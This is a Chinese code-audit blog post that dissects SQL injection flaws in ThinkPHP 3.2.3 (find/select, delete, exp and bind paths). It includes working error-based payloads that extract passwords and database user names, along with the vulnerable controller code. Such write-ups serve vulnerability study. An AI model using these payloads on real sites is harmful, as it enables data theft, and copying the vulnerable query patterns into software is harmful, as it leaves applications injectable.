Thinkphp3 漏洞总结


基础

在开始前可以看看下面三篇文章了解thinkphp3.2.3

环境准备

测试thinkphp版本为thinkphp3.2.3。官方下载地址

配置数据库,文件位置位于:Application/Home/Conf/config.php

根据实际情况填写:

<?php
return array(
    //'配置项'=>'配置值'
    //数据库配置信息
'DB_TYPE'   => 'mysql', // 数据库类型
'DB_HOST'   => '127.0.0.1', // 服务器地址
'DB_NAME'   => 'dvwa', // 数据库名
'DB_USER'   => 'root', // 用户名
'DB_PWD'    => '12345', // 密码
'DB_PORT'   => 3306, // 端口
'DB_PARAMS' =>  array(), // 数据库连接参数
'DB_PREFIX' => '', // 数据库表前缀 
'DB_CHARSET'=> 'utf8', // 字符集
'DB_DEBUG'  =>  TRUE, // 数据库调试模式 开启后可以记录SQL日志
);

了解tp3的路由格式:

http://easy.test/easy201020/thinkphp_3.2.3_full/index.php/Home/Index/index
                                                            模块/控制器/方法

使用上面的路由成功访问到tp3的欢迎界面就表示成功了:

find和select方法注入

这个两个函数的代码非常类似,并且payload也是一样通用的,这里选择find函数进行讲解。

首先Application/Home/Controller/IndexController.class.php文件中创建我们的demo代码

    public function test()
    {
        $data = M('users')->find(I('GET.id'));
        var_dump($data);
    }

先使用我们payload打一下看看效果:

http://easy.test/easy201020/thinkphp_3.2.3_full/index.php/Home/Index/test?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23

可以看到正常注入获取到了数据,首先我们要明确tp3的db底层就是字符的拼接如果对于数据过滤不严格,那么一定会存在sql注入漏洞。没有问题后我们开始来分析代码。

I(input)方法

其实从官方文档我们可以知道如果I()方法不存在过滤参数的话会默认使用htmlspecialchars方法进行过滤,但是同时默认使用的htmlspecialchars函数并没有过滤'的,这些小细节我们在代码审计中的时候要牢记于心。

我还是更进该函数去看看是怎么写的:文件在于ThinkPHP/Common/functions.php

前面都是一些输入方式判断以及一些数据的格式化,我们不用关注这些在352行处我们可以看到:

$filters = isset($filter)?$filter:C('DEFAULT_FILTER');

如果$filters不存在就等值于C('DEFAULT_FILTER')而该值正等于htmlspecialchars,后面使用回调函数array_map_recursive对数据进行过滤。

在最后面402行处可以看到如果输入数据是数组的话回调think_filter进行数据进一步过滤。

is_array($data) && array_walk_recursive($data,'think_filter');

跟进我们继续查看:

如果传入的data是下面数组里面的其中一个就其后面添加一个空格。

function think_filter(&$value){
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }
}

I()方法看完我们继续看find()方法

find()方法

文件为于ThinkPHP/Library/Think/Model.class.php 为了更好的讲解我直接采用payload的数据来进行整个流程的讲解:我们传入的参数是:

id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23

因为我们传入的是一个数组,并且$pk值不为数组所以我们就可以直接绕过前面的预设。直接到下面:

// 总是查找一条记录
$options['limit']   =   1;
// 分析表达式
$options = $this->_parseOptions($options);

跟进_parseOptions方法,前面一段没有太多特别的操作只是为options数组添加多了tablemodel值。

主要看下面这一段:

 if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
            // 对数组查询条件进行字段类型检查
            foreach ($options['where'] as $key=>$val){
                $key            =   trim($key);
                if(in_array($key,$fields,true)){
                    if(is_scalar($val)) {
                        $this->_parseType($options['where'],$key);
                    }
                }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
                    if(!empty($this->options['strict'])){
                        E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
                    } 
                    unset($options['where'][$key]);
                }
            }
        }

当符合一定条件后代码进行_parseType函数中,更进查看:

    protected function _parseType(&$data,$key) {
        if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){
            $fieldType = strtolower($this->fields['_type'][$key]);
            if(false !== strpos($fieldType,'enum')){
                // 支持ENUM类型优先检测
            }elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
                $data[$key]   =  intval($data[$key]);
            }elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){
                $data[$key]   =  floatval($data[$key]);
            }elseif(false !== strpos($fieldType,'bool')){
                $data[$key]   =  (bool)$data[$key];
            }
        }
    }

可以清晰看到这里对数据进行强制数据类型转换,然后放回。进行数据类型转换后自然是不存在sql注入,我们需要绕过这个函数的过滤。

认真看我们可以发现只有经过下面这个判断才会进入_parseType函数过滤,稍微细心一点同学都应该能够发现该判断使用数组可以随便绕过。先不说其他判断条件,一个is_array($options['where'])就可以让所有的一维数组绕过去。

继续向下读:

可以看到其执行语句的方法:

  $resultSet   =  $this->db->select($options);

跟进select方法

select()方法

文件位于ThinkPHP/Library/Think/Db/Driver.class.php处,里面的细节我这里就不细说了整个流程:

select()-> buildSelectSql()->parseSql()->

这里我们主要看一下pareSql()方法

    public function parseSql($sql,$options=array()){
        var_dump($options);
        $sql   = str_replace(
            array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
            array(
                $this->parseTable($options['table']),
                $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
                $this->parseField(!empty($options['field'])?$options['field']:'*'),
                $this->parseJoin(!empty($options['join'])?$options['join']:''),
                $this->parseWhere(!empty($options['where'])?$options['where']:''),
                $this->parseGroup(!empty($options['group'])?$options['group']:''),
                $this->parseHaving(!empty($options['having'])?$options['having']:''),
                $this->parseOrder(!empty($options['order'])?$options['order']:''),
                $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
                $this->parseUnion(!empty($options['union'])?$options['union']:''),
                $this->parseLock(isset($options['lock'])?$options['lock']:false),
                $this->parseComment(!empty($options['comment'])?$options['comment']:''),
                $this->parseForce(!empty($options['force'])?$options['force']:'')
            ),$sql);
        var_dump($sql);
        return $sql;
    }

$options数组中取出对应的数值在做相对于的处理后拼接到sql语句中,直接执行导致了sql注入漏洞。

从中我们也可以看出来会什么在数据过滤绕过哪里我说任意一个一维数组都可以绕过哪里的限制但是payload使用的是id[where]

这是因为只有符合对应的数组键值才会取出拼接。

payload最后执行的sql语句为:

SELECT * FROM `users` WHERE 1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)# LIMIT 1 

显然可用的payload不止这一个:

笔者测试下面几个,有兴趣可以继续参试:

?id[group]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23
?id[field]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23

delete()方法注入

delete()注入整个过程细节都和上面的find,select方法差不多,只有一处地方需要注意一下:

ThinkPHP/Mode/Lite/Model.class.phpdelete方法处,前面的处理和前面的都一样只是在下面多了一个:

        if(empty($options['where'])){
            // 如果条件为空 不进行删除操作 除非设置 1=1
            return false;
        }     

数组中必须要存在where数组

其他没什么特别的了,直接附上payload:

http://easy.test/easy201020/thinkphp_3.2.3_full/index.php/Home/Index/test?id[where]=1 and updatexml('~',concat(1,user(),1),'~')

exp注入

首先修改我们的环境:

public function test()
{
    $User = D('Users');
    $map = array('user' => $_GET['user']);
    $user = $User->where($map)->find();
    var_dump($user);
}

这里也是使用了find方法进行查询,但很明显的一点就是传入的值一开始就是一个数组,这种情况在实际中很常见,并且这里使用原生的GET来传输数据而不是thinkphp提供的I方法,这个原因在后面会讲解。

payload:

http://easy.test/easy201020/thinkphp_3.2.3_full/index.php/Home/Index/test?user[0]=exp&user[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

我们首先更进where方法看看,如下图因为$where是数组而整个where方法其实并没有对该数组什么特别的操作,只是在最后把$where数组赋值给了$options数组。

find方法在前面的已经分析过了并不会对该数组进行过滤,咱们直接看看核心的select

一路更进看到select()-> buildSelectSql()->parseSql()方法中的parseWhere方法

此时我们使用payload时候传入的值$where为:

array(1) {
  ["user"]=>
  array(2) {
    [0]=>
    string(3) "exp"
    [1]=>
    string(46) "=1 and updatexml(1,concat(0x7e,user(),0x7e),1)"
  }
}

前面的一系列的if..else判断我们都不会进入:

最后我们会进入:

$whereStr .= $this->parseWhereItem($this->parseKey($key),$val);语句中

看看parseWhereItem方法都写了些什么:

这里就是sql注入产生的原因:简单来说就是如果$val[0]=exp,sql语句就直接拼接上$val[1],没有进行过滤导致了注入 。

payload最后的sql执行语句为;

SELECT * FROM `users` WHERE `user` =1 and updatexml(1,concat(0x7e,user(),0x7e),1) LIMIT 1 

这里解释一下为什么不用I()方法传入数据,这是因为我们要注入成功必须要传入exp参数,而在上文中我分析过I()方法会默认对数组一些过滤处理:

在exp后添加一个空格导致我们sql注入失败。

bind注入

其实如果有人细心的话就会发现,不仅exp哪里存在问题,bind哪里也同时存在问题。

但是这里会在$val[1]的前面添加:符号导致sql注入失败。

这里我们使用前人留下的漏洞测试环境:

    public function test()
    {
        $User = M("Users");
        $user['user_id'] = I('id');
        $data['last_name'] = I('last_name');
        $valu = $User->where($user)->save($data);
        var_dump($valu);
    }

payload:

http://easy.test/easy201020/thinkphp_3.2.3_full/index.php/Home/Index/test?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&last_name=1

主要是使用了save方法,我们更进查看因为前面那些和前面的分析大部分都相同这里不做细说只讲重点!

更进到ThinkPHP/Library/Think/Db/Driver.class.php下的update方法

前面主要都在获取数据这里我们可以看到其调用了

 $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');

如果$val[0]=bind,sql语句就直接拼接上:+$val[1]

我们继续更进execute方法可以看到tp是怎么处理这个:

下面的一系类var_dump是我加上去查看数据的。

if(!empty($this->bind)){
            $that   =   $this;
            var_dump($this->queryStr);
            var_dump($that);
            var_dump(array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
            $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
            var_dump($this->queryStr);
        }

这里会使用strtr函数把字符中的:0 替换成我们输入last_name参数 的值例如我们的payload,最终的sql语句为:

UPDATE `users` SET `last_name`='1' WHERE `user_id` = '1' and updatexml(1,concat(0x7e,user(),0x7e),1)

注意: 因为这里是把:0进行替换为外部传进来的字符串所以我们的payload,这里必须要填0才能消去:

总结

其实认真分析可以发现其存在的sql注入漏洞还不止我上面提到的几个方法,主要原因还是thinkphp3.2.3底层_parseOptions对数组的处理不当导致的一些安全问题。

参考文章

https://xz.aliyun.com/t/2631#toc-0

https://y4er.com/post/thinkphp3-vuln/#thinkphp-323-bind%E6%B3%A8%E5%85%A5

https://xz.aliyun.com/t/6375#toc-2


文章作者: EASY
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EASY !
 上一篇
Thinkphp5 RCE 分析 Thinkphp5 RCE 分析
前言开始前可以看一下大佬的Thinkphp5 源码阅读 了解thinkphp5的基本运行流程。 thinphp的rce方法在不同版本利用方式不同,但主要的rce原因有两个: thinkphp/library/think/Request.p
2020-12-11 EASY
下一篇 
Yii2 反序列化链分析 Yii2 反序列化链分析
前言继续代码审计学习,这次分析Yii2 反序列链。 基础知识对象序列化与反序列化PHP的官方解析: 所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变
2020-11-24 EASY
  目录